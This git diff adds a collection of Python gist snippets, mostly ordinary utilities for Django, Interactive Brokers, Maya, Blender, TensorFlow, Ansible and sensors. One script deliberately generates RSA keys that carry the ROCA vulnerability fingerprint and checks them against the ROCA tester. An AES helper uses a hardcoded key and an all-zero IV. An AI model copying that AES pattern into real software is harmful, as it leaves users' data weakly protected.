+	for i in range(0, len(primes)):
+		if (1 << (modulus % primes[i])) & prints[i] == 0:
+			return False
+	return True
+## End code from ROCA
+
+BITS = 1024
+MOD = reduce(operator.mul, primes, 1)
+
+residues_p = []
+residues_q = []
+
+for p, mask in zip(primes, prints):
+	res_p = randint(1, p-1)
+	res_q = choice([i for i, x in enumerate(bin(mask)[::-1]) if x == '1']) * pow(res_p, p - 2)
+
+	residues_p.append(res_p)
+	residues_q.append(res_q)
+
+def CRT(n, a):
+	s = 0
+	for n_i, a_i in zip(n, a):
+		p = MOD / n_i
+		s += a_i * pow(p, n_i - 2) * p
+	return s % MOD
+
+def get_prime(residues, bits):
+	b = CRT(primes, residues)
+
+	r_min = (1 << (bits - 1)) // MOD
+	r_max = (1 << (bits)) // MOD
+
+	while 1:
+		p = b + randint(r_min, r_max) * MOD
+		if is_prime(p):
+			break
+
+	return p
+
+p = get_prime(residues_p, BITS//2)
+q = get_prime(residues_q, BITS//2)
+N = p * q
+
+print "p =", p
+print "q =", q
+print "N =", N
+print "Vulnerable according to tester:", has_fingerprint_real(N)
diff --git a/hard-gists/7b2161871953f0c12615/._snippet.py b/hard-gists/7b2161871953f0c12615/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7b2161871953f0c12615/._snippet.py differ
diff --git a/hard-gists/7b2161871953f0c12615/snippet.py b/hard-gists/7b2161871953f0c12615/snippet.py
new file mode 100644
index 00000000..0d781234
--- /dev/null
+++ b/hard-gists/7b2161871953f0c12615/snippet.py
@@ -0,0 +1,14 @@
+# -*- coding: utf-8 -*-
+from django.http import HttpResponseNotFound
+
+class AdminSiteSecurizeMiddleware(object):
+	"""Hide admin panel for unprivileged users"""
+	def process_response(self, request, response):
+		"""
+		Return a 404 Not Found page if there is no authenticated user
+		or if user has no enough privileges
+		"""
+		if '/admin/' in request.META.get("PATH_INFO"):
+			if not request.user.is_authenticated() or not request.user.is_staff:
+				return HttpResponseNotFound()
+		return response
\ No newline at end of file
diff --git a/hard-gists/7b4a8e2f1fbfd70b4aaea5d205cb35eb/._snippet.py b/hard-gists/7b4a8e2f1fbfd70b4aaea5d205cb35eb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7b4a8e2f1fbfd70b4aaea5d205cb35eb/._snippet.py differ
diff --git a/hard-gists/7b4a8e2f1fbfd70b4aaea5d205cb35eb/snippet.py b/hard-gists/7b4a8e2f1fbfd70b4aaea5d205cb35eb/snippet.py
new file mode 100644
index 00000000..f3172965
--- /dev/null
+++ b/hard-gists/7b4a8e2f1fbfd70b4aaea5d205cb35eb/snippet.py
@@ -0,0 +1,138 @@
+# Gist example of IB wrapper ...
+#
+# Download API from http://interactivebrokers.github.io/#
+#
+# Install python API code /IBJts/source/pythonclient $ python3 setup.py install
+#
+# Note: The test cases, and the documentation refer to a python package called IBApi,
+#    but the actual package is called ibapi. Go figure.
+#
+# Get the latest version of the gateway:
+# https://www.interactivebrokers.com/en/?f=%2Fen%2Fcontrol%2Fsystemstandalone-ibGateway.php%3Fos%3Dunix
+#    (for unix: windows and mac users please find your own version)
+#
+# Run the gateway
+#
+# user: edemo
+# pwd: demo123
+#
+# Now I'll try and replicate the time telling example
+
+
+from ibapi.wrapper import EWrapper
+from ibapi.client import EClient
+from threading import Thread
+import queue
+
+class TestWrapper(EWrapper):
+    """
+    The wrapper deals with the action coming back from the IB gateway or TWS instance
+
+    We override methods in EWrapper that will get called when this action happens, like currentTime
+
+
+    """
+
+    ## error handling code
+    def init_error(self):
+        error_queue=queue.Queue()
+        self._my_errors = error_queue
+
+    def get_error(self, timeout=5):
+        if self.is_error():
+            try:
+                return self._my_errors.get(timeout=timeout)
+            except queue.Empty:
+                return None
+
+        return None
+
+
+    def is_error(self):
+        an_error_if=not self._my_errors.empty()
+        return an_error_if
+
+    def error(self, id, errorCode, errorString):
+        ## Overriden method
+        errormsg = "IB error id %d errorcode %d string %s" % (id, errorCode, errorString)
+        self._my_errors.put(errormsg)
+
+    ## Time telling code
+    def init_time(self):
+        time_queue=queue.Queue()
+        self._time_queue = time_queue
+
+        return time_queue
+
+    def currentTime(self, time_from_server):
+        ## Overriden method
+        self._time_queue.put(time_from_server)
+
+
+class TestClient(EClient):
+    """
+    The client method
+
+    We don't override native methods, but instead call them from our own wrappers
+    """
+    def __init__(self, wrapper):
+        ## Set up with a wrapper inside
+        EClient.__init__(self, wrapper)
+
+    def speaking_clock(self):
+        """
+        Basic example to tell the time
+
+        :return: unix time, as an int
+        """
+
+        print("Getting the time from the server... ")
+
+        ## Make a place to store the time we're going to return
+        ## This is a queue
+        time_storage=self.wrapper.init_time()
+
+        ## This is the native method in EClient, asks the server to send us the time please
+        self.reqCurrentTime()
+
+        ## Try and get a valid time
+        MAX_WAIT_SECONDS = 10
+
+        try:
+            current_time = time_storage.get(timeout=MAX_WAIT_SECONDS)
+        except queue.Empty:
+            print("Exceeded maximum wait for wrapper to respond")
+            current_time = None
+
+        while self.wrapper.is_error():
+            print(self.get_error())
+
+        return current_time
+
+class TestApp(TestWrapper, TestClient):
+    def __init__(self, ipaddress, portid, clientid):
+        TestWrapper.__init__(self)
+        TestClient.__init__(self, wrapper=self)
+
+        self.connect(ipaddress, portid, clientid)
+
+        thread = Thread(target = self.run)
+        thread.start()
+
+        setattr(self, "_thread", thread)
+
+        self.init_error()
+
+
+if __name__ == '__main__':
+    ##
+    ## Check that the port is the same as on the Gateway
+    ## ipaddress is 127.0.0.1 if one same machine, clientid is arbitrary
+
+    app = TestApp("127.0.0.1", 4001, 10)
+
+    current_time = app.speaking_clock()
+
+    print(current_time)
+
+    app.disconnect()
\ No newline at end of file
diff --git a/hard-gists/7b64238424175742a8a1/._snippet.py b/hard-gists/7b64238424175742a8a1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7b64238424175742a8a1/._snippet.py differ
diff --git a/hard-gists/7b64238424175742a8a1/snippet.py b/hard-gists/7b64238424175742a8a1/snippet.py
new file mode 100644
index 00000000..de4295a9
--- /dev/null
+++ b/hard-gists/7b64238424175742a8a1/snippet.py
@@ -0,0 +1,70 @@
+#-*- coding: utf-8 -*-
+
+# Python 3.4
+# author: http://blog.dokenzy.com/
+# date: 2015. 4. 8
+
+# References
+# http://www.imcore.net/encrypt-decrypt-aes256-c-objective-ios-iphone-ipad-php-java-android-perl-javascript/
+# http://stackoverflow.com/questions/12562021/aes-decryption-padding-with-pkcs5-python
+# http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256
+# http://www.di-mgt.com.au/cryptopad.html
+# https://github.com/dlitz/pycrypto
+
+import base64
+import hashlib
+from Crypto import Random
+from Crypto.Cipher import AES
+
+BS = 16
+pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
+unpad = lambda s: s[:-ord(s[len(s)-1:])]
+
+def iv():
+    """
+    The initialization vector to use for encryption or decryption.
+    It is ignored for MODE_ECB and MODE_CTR.
+    """
+    return chr(0) * 16
+
+class AESCipher(object):
+    """
+    https://github.com/dlitz/pycrypto
+    """
+
+    def __init__(self, key):
+        self.key = key
+        #self.key = hashlib.sha256(key.encode()).digest()
+
+    def encrypt(self, message):
+        """
+        It is assumed that you use Python 3.0+
+        , so plaintext's type must be str type(== unicode).
+        """
+        message = message.encode()
+        raw = pad(message)
+        cipher = AES.new(self.key, AES.MODE_CBC, iv())
+        enc = cipher.encrypt(raw)
+        return base64.b64encode(enc).decode('utf-8')
+
+    def decrypt(self, enc):
+        enc = base64.b64decode(enc)
+        cipher = AES.new(self.key, AES.MODE_CBC, iv())
+        dec = cipher.decrypt(enc)
+        return unpad(dec).decode('utf-8')
+
+
+key = 'abcdefghijklmnopqrstuvwxyz123456'
+
+message = '한글을 테스트 합니다.'
+_enc = 'gOXlygE+qxS+69zN5qC6eKJvMiEoDQtdoJb3zjT8f/E='
+#message = 'imcore.net'
+#enc = 'kWyuTmUELRiREWIPpLy3ZA=='
+#message = 'Test English...'
+#answer = 'rvs4H8x4Q8sblGG1jkOHFQ=='
+
+enc = AESCipher(key).encrypt(message)
+dec = AESCipher(key).decrypt(_enc)
+
+print(_enc == enc)
+print(message == dec)
\ No newline at end of file
diff --git a/hard-gists/7b75093ec0d5ecc8d95e/._snippet.py b/hard-gists/7b75093ec0d5ecc8d95e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7b75093ec0d5ecc8d95e/._snippet.py differ
diff --git a/hard-gists/7b75093ec0d5ecc8d95e/snippet.py b/hard-gists/7b75093ec0d5ecc8d95e/snippet.py
new file mode 100644
index 00000000..d80f8946
--- /dev/null
+++ b/hard-gists/7b75093ec0d5ecc8d95e/snippet.py
@@ -0,0 +1,28 @@
+import maya.mel as mel
+import maya.OpenMayaUI as omui
+from PySide.QtGui import *
+from PySide.QtCore import *
+from shiboken import wrapInstance as wrap
+qMaya = wrap(long(omui.MQtUtil.mainWindow()), QMainWindow)
+   
+# find chennelbox
+gChannelBoxName = mel.eval('$temp=$gChannelBoxName')
+table = qMaya.findChild(QTableView, gChannelBoxName)
+if table:
+    model = table.model()
+else:
+    model = None
+ 
+# main function
+def selectChannelBoxAttr(attrArray):
+    if model:
+    	table.setSelectionMode( QAbstractItemView.MultiSelection );
+        table.clearSelection()
+        for atr in attrArray:
+            for i in range(model.rowCount()):
+                if atr ==  model.data(model.index(i,0)):
+                    table.selectRow(i)
+ 
+# ############################ test
+attrs = ['Scale Y', 'Translate X']
+selectChannelBoxAttr(attrs)
\ No newline at end of file
diff --git a/hard-gists/7b96bba85ed81aba864a/._snippet.py b/hard-gists/7b96bba85ed81aba864a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7b96bba85ed81aba864a/._snippet.py differ
diff --git a/hard-gists/7b96bba85ed81aba864a/snippet.py b/hard-gists/7b96bba85ed81aba864a/snippet.py
new file mode 100644
index 00000000..0b3488c1
--- /dev/null
+++ b/hard-gists/7b96bba85ed81aba864a/snippet.py
@@ -0,0 +1,34 @@
+from __future__ import print_function
+import bpy
+from functools import reduce
+
+D = bpy.data
+
+OUT_DIR = '/tmp'
+
+f2=open(OUT_DIR+'/markers.log', 'w')
+for clip in D.movieclips:
+    print('processing clip {0}...'.format(clip.name), file=f2)
+    width=clip.size[0]
+    height=clip.size[1]
+    for ob in clip.tracking.objects:
+        print('processing object {0}...'.format(ob.name), file=f2)
+        for track in ob.tracks:
+            print('processing track {0}...'.format(track.name), file=f2)
+            fn = OUT_DIR+'/data/{0}_{1}_tr_{2}.csv'.format(clip.name.split('.')[0], ob.name, track.name)
+            with open(fn, 'w') as f:
+                framenum = 0
+                while framenum < clip.frame_duration:
+                    markerAtFrame = track.markers.find_frame(framenum)
+                    if markerAtFrame:
+                        coords = markerAtFrame.co.xy
+                        corners = markerAtFrame.pattern_corners
+                        corners = reduce(lambda x,y: x+y, map( list, corners ))
+                        corners = [
+                            corners[0]*width, corners[1]*height,
+                            corners[2]*width, corners[3]*height,
+                            corners[4]*width, corners[5]*height,
+                            corners[6]*width, corners[7]*height  ]
+                        print('{0},{1},{2},{3},{4},{5},{6},{7},{8},{9},{10}'.format(framenum, coords[0]*width, coords[1]*height, *corners), file=f)
+                    framenum += 1
+f2.close()
diff --git a/hard-gists/7bd4e4bd0a00ac9076986148afc06507/._snippet.py b/hard-gists/7bd4e4bd0a00ac9076986148afc06507/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7bd4e4bd0a00ac9076986148afc06507/._snippet.py differ
diff --git a/hard-gists/7bd4e4bd0a00ac9076986148afc06507/snippet.py b/hard-gists/7bd4e4bd0a00ac9076986148afc06507/snippet.py
new file mode 100644
index 00000000..259ec7ca
--- /dev/null
+++ b/hard-gists/7bd4e4bd0a00ac9076986148afc06507/snippet.py
@@ -0,0 +1,61 @@
+# encoding: utf-8
+"""
+@author: BrikerMan 
+@contact: eliyar917@gmail.com
+@blog: https://eliyar.biz
+@version: 1.0
+@license: Apache Licence
+@file: w2v_visualizer.py
+@time: 2017/7/30 上午9:37
+"""
+import sys, os
+from gensim.models import Word2Vec
+import tensorflow as tf
+import numpy as np
+from tensorflow.contrib.tensorboard.plugins import projector
+
+def visualize(model, output_path):
+    meta_file = "w2x_metadata.tsv"
+    placeholder = np.zeros((len(model.wv.index2word), 100))
+
+    with open(os.path.join(output_path,meta_file), 'wb') as file_metadata:
+        for i, word in enumerate(model.wv.index2word):
+            placeholder[i] = model[word]
+            # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094
+            if word == '':
+                print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard")
+                file_metadata.write("{0}".format('<Empty Line>').encode('utf-8') + b'\n')
+            else:
+                file_metadata.write("{0}".format(word).encode('utf-8') + b'\n')
+
+    # define the model without training
+    sess = tf.InteractiveSession()
+
+    embedding = tf.Variable(placeholder, trainable = False, name = 'w2x_metadata')
+    tf.global_variables_initializer().run()
+
+    saver = tf.train.Saver()
+    writer = tf.summary.FileWriter(output_path, sess.graph)
+
+    # adding into projector
+    config = projector.ProjectorConfig()
+    embed = config.embeddings.add()
+    embed.tensor_name = 'w2x_metadata'
+    embed.metadata_path = meta_file
+
+    # Specify the width and height of a single thumbnail.
+    projector.visualize_embeddings(writer, config)
+    saver.save(sess, os.path.join(output_path,'w2x_metadata.ckpt'))
+    print('Run `tensorboard --logdir={0}` to run visualize result on tensorboard'.format(output_path))
+
+if __name__ == "__main__":
+    """
+    Just run `python w2v_visualizer.py word2vec.model visualize_result`
+    """
+    try:
+        model_path = sys.argv[1]
+        output_path  = sys.argv[2]
+    except:
+        print("Please provice model path and output path")
+    model = Word2Vec.load(model_path)
+    visualize(model, output_path)
\ No newline at end of file
diff --git a/hard-gists/7c18bf7ac5fd4d26cbce/._snippet.py b/hard-gists/7c18bf7ac5fd4d26cbce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c18bf7ac5fd4d26cbce/._snippet.py differ
diff --git a/hard-gists/7c18bf7ac5fd4d26cbce/snippet.py b/hard-gists/7c18bf7ac5fd4d26cbce/snippet.py
new file mode 100644
index 00000000..79d5512e
--- /dev/null
+++ b/hard-gists/7c18bf7ac5fd4d26cbce/snippet.py
@@ -0,0 +1,83 @@
+from ansible import playbook, callbacks
+import logging
+import pprint
+
+
+class LoggingCallbacks(callbacks.PlaybookCallbacks):
+    def log(self, level, msg, *args, **kwargs):
+        logging.log(level, msg, *args, **kwargs)
+
+    def on_task_start(self, name, is_conditional):
+        self.log(logging.INFO, 'task: {0}'.format(name))
+        super(LoggingCallbacks, self).on_task_start(name, is_conditional)
+
+
+class LoggingRunnerCallbacks(callbacks.PlaybookRunnerCallbacks):
+    def log(self, level, msg, *args, **kwargs):
+        logging.log(level, msg, *args, **kwargs)
+
+    def _on_any(self, level, label, host, orig_result):
+        result = orig_result.copy()
+        result.pop('invocation', None)
+        result.pop('verbose_always', True)
+        item = result.pop('item', None)
+        if not result:
+            msg = ''
+        elif len(result) == 1:
+            msg = ' | {0}'.format(result.values().pop())
+        else:
+            msg = '\n' + pprint.pformat(result)
+        if item:
+            self.log(level, '{0} (item={1}): {2}{3}'.format(host, item, label, msg))
+        else:
+            self.log(level, '{0}: {1}{2}'.format(host, label, msg))
+
+    def on_failed(self, host, res, ignore_errors=False):
+        if ignore_errors:
+            level = logging.INFO
+            label = 'FAILED (ignored)'
+        else:
+            level = logging.ERROR
+            label = 'FAILED'
+        self._on_any(level, label, host, res)
+        super(LoggingRunnerCallbacks, self).on_failed(host, res, ignore_errors)
+
+    def on_ok(self, host, res):
+        self._on_any(logging.INFO, 'SUCCESS', host, res)
+        super(LoggingRunnerCallbacks, self).on_ok(host, res)
+
+    def on_error(self, host, msg):
+        self.log(logging.ERROR, '{0}: ERROR | {1}'.format(host, msg))
+        super(LoggingRunnerCallbacks, self).on_error(host, msg)
+
+    def on_skipped(self, host, item=None):
+        if item:
+            self.log(logging.INFO, '{0} (item={1}): SKIPPED'.format(host, item))
+        else:
+            self.log(logging.INFO, '{0}: SKIPPED'.format(host))
+        super(LoggingRunnerCallbacks, self).on_skipped(host, item)
+
+    def on_unreachable(self, host, res):
+        self._on_any(logging.ERROR, 'UNREACHABLE', host, dict(unreachable=res))
+        super(LoggingRunnerCallbacks, self).on_unreachable(host, res)
+
+    def on_no_hosts(self):
+        self.log(logging.ERROR, 'No hosts matched')
+        super(LoggingRunnerCallbacks, self).on_no_hosts()
+
+
+def run_playbook(path, extra_vars):
+    stats = callbacks.AggregateStats()
+    playbook_cb = LoggingCallbacks(verbose=3)
+    runner_cb = LoggingRunnerCallbacks(stats, verbose=3)
+
+    pb = playbook.PlayBook(
+        playbook=path,
+        stats=stats,
+        callbacks=playbook_cb,
+        runner_callbacks=runner_cb,
+        extra_vars=extra_vars)
+    pb.run()
+    if stats.failures or stats.dark:
+        raise RuntimeError('Playbook {0} failed'.format(path))
+    return pb.SETUP_CACHE['localhost']
diff --git a/hard-gists/7c24802dd9c5e15870b4b56e22135c96/._snippet.py b/hard-gists/7c24802dd9c5e15870b4b56e22135c96/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c24802dd9c5e15870b4b56e22135c96/._snippet.py differ
diff --git a/hard-gists/7c24802dd9c5e15870b4b56e22135c96/snippet.py b/hard-gists/7c24802dd9c5e15870b4b56e22135c96/snippet.py
new file mode 100644
index 00000000..9abfd020
--- /dev/null
+++ b/hard-gists/7c24802dd9c5e15870b4b56e22135c96/snippet.py
@@ -0,0 +1,74 @@
+import sys, getopt
+
+import tensorflow as tf
+
+usage_str = 'python tensorflow_rename_variables.py --checkpoint_dir=path/to/dir/ ' \
+            '--replace_from=substr --replace_to=substr --add_prefix=abc --dry_run'
+
+
+def rename(checkpoint_dir, replace_from, replace_to, add_prefix, dry_run):
+    checkpoint = tf.train.get_checkpoint_state(checkpoint_dir)
+    with tf.Session() as sess:
+        for var_name, _ in tf.contrib.framework.list_variables(checkpoint_dir):
+            # Load the variable
+            var = tf.contrib.framework.load_variable(checkpoint_dir, var_name)
+
+            # Set the new name
+            new_name = var_name
+            if None not in [replace_from, replace_to]:
+                new_name = new_name.replace(replace_from, replace_to)
+            if add_prefix:
+                new_name = add_prefix + new_name
+
+            if dry_run:
+                print('%s would be renamed to %s.' % (var_name, new_name))
+            else:
+                print('Renaming %s to %s.' % (var_name, new_name))
+                # Rename the variable
+                var = tf.Variable(var, name=new_name)
+
+        if not dry_run:
+            # Save the variables
+            saver = tf.train.Saver()
+            sess.run(tf.global_variables_initializer())
+            saver.save(sess, checkpoint.model_checkpoint_path)
+
+
+def main(argv):
+    checkpoint_dir = None
+    replace_from = None
+    replace_to = None
+    add_prefix = None
+    dry_run = False
+
+    try:
+        opts, args = getopt.getopt(argv, 'h', ['help=', 'checkpoint_dir=', 'replace_from=',
+                                               'replace_to=', 'add_prefix=', 'dry_run'])
+    except getopt.GetoptError:
+        print(usage_str)
+        sys.exit(2)
+    for opt, arg in opts:
+        if opt in ('-h', '--help'):
+            print(usage_str)
+            sys.exit()
+        elif opt == '--checkpoint_dir':
+            checkpoint_dir = arg
+        elif opt == '--replace_from':
+            replace_from = arg
+        elif opt == '--replace_to':
+            replace_to = arg
+        elif opt == '--add_prefix':
+            add_prefix = arg
+        elif opt == '--dry_run':
+            dry_run = True
+
+    if not checkpoint_dir:
+        print('Please specify a checkpoint_dir. Usage:')
+        print(usage_str)
+        sys.exit(2)
+
+    rename(checkpoint_dir, replace_from, replace_to, add_prefix, dry_run)
+
+
+if __name__ == '__main__':
+    main(sys.argv[1:])
diff --git a/hard-gists/7c2ec1cd01ada79b45fc9a6323934181/._snippet.py b/hard-gists/7c2ec1cd01ada79b45fc9a6323934181/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c2ec1cd01ada79b45fc9a6323934181/._snippet.py differ
diff --git a/hard-gists/7c2ec1cd01ada79b45fc9a6323934181/snippet.py b/hard-gists/7c2ec1cd01ada79b45fc9a6323934181/snippet.py
new file mode 100644
index 00000000..d6c6ba2c
--- /dev/null
+++ b/hard-gists/7c2ec1cd01ada79b45fc9a6323934181/snippet.py
@@ -0,0 +1,71 @@
+import pandas as pd
+from sklearn import neighbors, datasets
+from sklearn.model_selection import train_test_split
+import numpy as np
+import matplotlib.pyplot as plt
+from sklearn.metrics import confusion_matrix
+from sklearn.metrics import  accuracy_score
+from sklearn.preprocessing import Imputer
+from sklearn.neighbors import KNeighborsClassifier
+import pylab as p1
+from matplotlib.colors import ListedColormap
+
+
+"""Sam was here"""
+
+df1 = pd.read_csv("/Users/samanrahbar/Desktop/knnDataSet.csv")
+
+df1 = df1[['x', 'y', 'L']]
+
+Xtrain = df1[['x', 'y']]
+Ytrain = df1.L
+
+
+X, xx, Y, yy = train_test_split(Xtrain, Ytrain, test_size =.25, random_state = 0, shuffle= True)
+
+h = .01
+knn = neighbors.KNeighborsClassifier(n_neighbors=1, weights='distance', algorithm= 'auto')
+
+knn.fit(X,Y)
+
+x_min, x_max = Xtrain['x'].min() - .5, Xtrain['x'].max() + .5
+y_min, y_max = Xtrain['y'].min() - .5, Xtrain['y'].max() + .5
+
+xmin, ymin = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))
+
+xmin = np.array(xmin)
+ymin = np.array(ymin)
+
+
+xx = np.array(xx)
+yy = np.array(yy)
+
+
+zc= knn.predict(np.c_[xmin.ravel(), ymin.ravel()])
+zc = zc.reshape(xmin.shape)
+z= knn.predict(xx)
+
+
+plt.figure(1, figsize=(4, 3))
+plt.set_cmap(plt.cm.Paired)
+plt.pcolormesh(xmin, ymin, zc)
+
+plt.scatter(Xtrain['x'], Xtrain['y'], c= Ytrain, marker = '+', s = 100)
+plt.xlabel('X')
+plt.ylabel('Y')
+
+plt.xlim(xmin.min(), xmin.max())
+plt.ylim(ymin.min(), ymin.max())
+
+plt.xticks(())
+plt.yticks(())
+
+print("The Accuracy is:\n>>> "+ str(accuracy_score(yy, z)))
+print('\n')
+print("----------------------------------------\n The confussion matrix is as below:")
+print('\n')
+print(confusion_matrix(yy, z))
+
+plt.show()
+
+
diff --git a/hard-gists/7c3070bc1c2766633b8ff1d4d51089cf/._snippet.py b/hard-gists/7c3070bc1c2766633b8ff1d4d51089cf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c3070bc1c2766633b8ff1d4d51089cf/._snippet.py differ
diff --git a/hard-gists/7c3070bc1c2766633b8ff1d4d51089cf/snippet.py b/hard-gists/7c3070bc1c2766633b8ff1d4d51089cf/snippet.py
new file mode 100644
index 00000000..ea452d3d
--- /dev/null
+++ b/hard-gists/7c3070bc1c2766633b8ff1d4d51089cf/snippet.py
@@ -0,0 +1,44 @@
+from time import sleep_ms
+from machine import Pin, I2C
+
+# Default Address
+SI7021_I2C_DEFAULT_ADDR = 0x40
+
+# Commands
+CMD_MEASURE_RELATIVE_HUMIDITY_HOLD_MASTER_MODE = 0xE5
+CMD_MEASURE_RELATIVE_HUMIDITY = 0xF5
+CMD_MEASURE_TEMPERATURE_HOLD_MASTER_MODE = 0xE3
+CMD_MEASURE_TEMPERATURE = 0xF3
+CMD_READ_TEMPERATURE_VALUE_FROM_PREVIOUS_RH_MEASUREMENT = 0xE0
+CMD_RESET = 0xFE
+CMD_WRITE_RH_T_USER_REGISTER_1 = 0xE6
+CMD_READ_RH_T_USER_REGISTER_1 = 0xE7
+CMD_WRITE_HEATER_CONTROL_REGISTER = 0x51
+CMD_READ_HEATER_CONTROL_REGISTER = 0x11
+
+class Si7021(object):
+    def __init__(self, i2c_addr = SI7021_I2C_DEFAULT_ADDR):
+        self.addr = i2c_addr
+        self.cbuffer = bytearray(2)
+        self.cbuffer[1] = 0x00
+        self.i2c = I2C(scl=Pin(5), sda=Pin(4), freq=100000)
+
+    def write_command(self, command_byte):
+        self.cbuffer[0] = command_byte
+        self.i2c.writeto(self.addr, self.cbuffer)
+
+    def readTemp(self):
+        self.write_command(CMD_MEASURE_TEMPERATURE)
+        sleep_ms(25)
+        temp = self.i2c.readfrom(self.addr,3)
+        temp2 = temp[0] << 8
+        temp2 = temp2 | temp[1]
+        return (175.72 * temp2 / 65536) - 46.85
+
+    def readRH(self):
+        self.write_command(CMD_MEASURE_RELATIVE_HUMIDITY)
+        sleep_ms(25)
+        rh = self.i2c.readfrom(self.addr, 3)
+        rh2 = rh[0] << 8
+        rh2 = rh2 | rh[1]
+        return (125 * rh2 / 65536) - 6
diff --git a/hard-gists/7c395aa3634b2f2a0cb4/._snippet.py b/hard-gists/7c395aa3634b2f2a0cb4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c395aa3634b2f2a0cb4/._snippet.py differ
diff --git a/hard-gists/7c395aa3634b2f2a0cb4/snippet.py b/hard-gists/7c395aa3634b2f2a0cb4/snippet.py
new file mode 100644
index 00000000..577cbc45
--- /dev/null
+++ b/hard-gists/7c395aa3634b2f2a0cb4/snippet.py
@@ -0,0 +1,103 @@
+# Based on https://djangosnippets.org/snippets/2283/
+
+from django.db import transaction
+from django.db.models import get_models, Model
+from django.contrib.contenttypes.generic import GenericForeignKey
+
+@transaction.atomic
+def merge_model_objects(primary_object, alias_objects=None, keep_old=False):
+    """
+    Use this function to merge model objects (i.e. Users, Organizations, Polls,
+    etc.) and migrate all of the related fields from the alias objects to the
+    primary object.
+
+    Usage:
+    from django.contrib.auth.models import User
+    primary_user = User.objects.get(email='good_email@example.com')
+    duplicate_user = User.objects.get(email='good_email+duplicate@example.com')
+    merge_model_objects(primary_user, duplicate_user)
+    """
+    if not alias_objects: alias_objects = []
+    if not isinstance(alias_objects, list):
+        alias_objects = [alias_objects]
+
+    # check that all aliases are the same class as primary one and that
+    # they are subclass of model
+    primary_class = primary_object.__class__
+
+    if not issubclass(primary_class, Model):
+        raise TypeError('Only django.db.models.Model subclasses can be merged')
+
+    for alias_object in alias_objects:
+        if not isinstance(alias_object, primary_class):
+            raise TypeError('Only models of same class can be merged')
+
+    # Get a list of all GenericForeignKeys in all models
+    # TODO: this is a bit of a hack, since the generics framework should provide a similar
+    # method to the ForeignKey field for accessing the generic related fields.
+    generic_fields = []
+    for model in get_models():
+        for field_name, field in filter(lambda x: isinstance(x[1], GenericForeignKey), model.__dict__.iteritems()):
+            generic_fields.append(field)
+
+    blank_local_fields = set([field.attname for field in primary_object._meta.local_fields if getattr(primary_object, field.attname) in [None, '']])
+
+    # Loop through all alias objects and migrate their data to the primary object.
+    for alias_object in alias_objects:
+        # Migrate all foreign key references from alias object to primary object.
+        for related_object in alias_object._meta.get_all_related_objects():
+            # The variable name on the alias_object model.
+            alias_varname = related_object.get_accessor_name()
+            # The variable name on the related model.
+            obj_varname = related_object.field.name
+            related_objects = getattr(alias_object, alias_varname)
+            if hasattr(related_objects, 'all'):
+                for obj in related_objects.all():
+                    setattr(obj, obj_varname, primary_object)
+                    obj.save()
+            else:
+                # `related_objects` is a one-to-one field.
+                # Merge related one-to-one fields.
+                alias_related_object = related_objects
+                primary_related_object = getattr(primary_object, alias_varname)
+                # The delete will cascade later if `keep_old` is False.
+                # Otherwise, could violate a not-null one-to-one field constraint.
+                merge_model_objects(primary_related_object, alias_related_object, keep_old=True)
+
+        # Migrate all many to many references from alias object to primary object.
+        for related_many_object in alias_object._meta.get_all_related_many_to_many_objects():
+            alias_varname = related_many_object.get_accessor_name()
+            obj_varname = related_many_object.field.name
+
+            if alias_varname is not None:
+                # standard case
+                related_many_objects = getattr(alias_object, alias_varname).all()
+            else:
+                # special case, symmetrical relation, no reverse accessor
+                related_many_objects = getattr(alias_object, obj_varname).all()
+            for obj in related_many_objects.all():
+                getattr(obj, obj_varname).remove(alias_object)
+                getattr(obj, obj_varname).add(primary_object)
+
+        # Migrate all generic foreign key references from alias object to primary object.
+        for field in generic_fields:
+            filter_kwargs = {}
+            filter_kwargs[field.fk_field] = alias_object._get_pk_val()
+            filter_kwargs[field.ct_field] = field.get_content_type(alias_object)
+            for generic_related_object in field.model.objects.filter(**filter_kwargs):
+                setattr(generic_related_object, field.name, primary_object)
+                generic_related_object.save()
+
+        # Try to fill all missing values in primary object by values of duplicates
+        filled_up = set()
+        for field_name in blank_local_fields:
+            val = getattr(alias_object, field_name)
+            if val not in [None, '']:
+                setattr(primary_object, field_name, val)
+                filled_up.add(field_name)
+        blank_local_fields -= filled_up
+
+        if not keep_old:
+            alias_object.delete()
+    primary_object.save()
+    return primary_object
diff --git a/hard-gists/7c3d01ad13b0e7e5985a/._snippet.py b/hard-gists/7c3d01ad13b0e7e5985a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7c3d01ad13b0e7e5985a/._snippet.py differ
diff --git a/hard-gists/7c3d01ad13b0e7e5985a/snippet.py b/hard-gists/7c3d01ad13b0e7e5985a/snippet.py
new file mode 100644
index 00000000..481c17fe
--- /dev/null
+++ b/hard-gists/7c3d01ad13b0e7e5985a/snippet.py
@@ -0,0 +1,77 @@
+import numpy as np
+import cv2
+
+
+class BackGroundSubtractor:
+	# When constructing background subtractor, we
+	# take in two arguments:
+	# 1) alpha: The background learning factor, its value should
+	# be between 0 and 1. The higher the value, the more quickly
+	# your program learns the changes in the background. Therefore, 
+	# for a static background use a lower value, like 0.001. But if 
+	# your background has moving trees and stuff, use a higher value,
+	# maybe start with 0.01.
+	# 2) firstFrame: This is the first frame from the video/webcam.
+	def __init__(self,alpha,firstFrame):
+		self.alpha  = alpha
+		self.backGroundModel = firstFrame
+
+	def getForeground(self,frame):
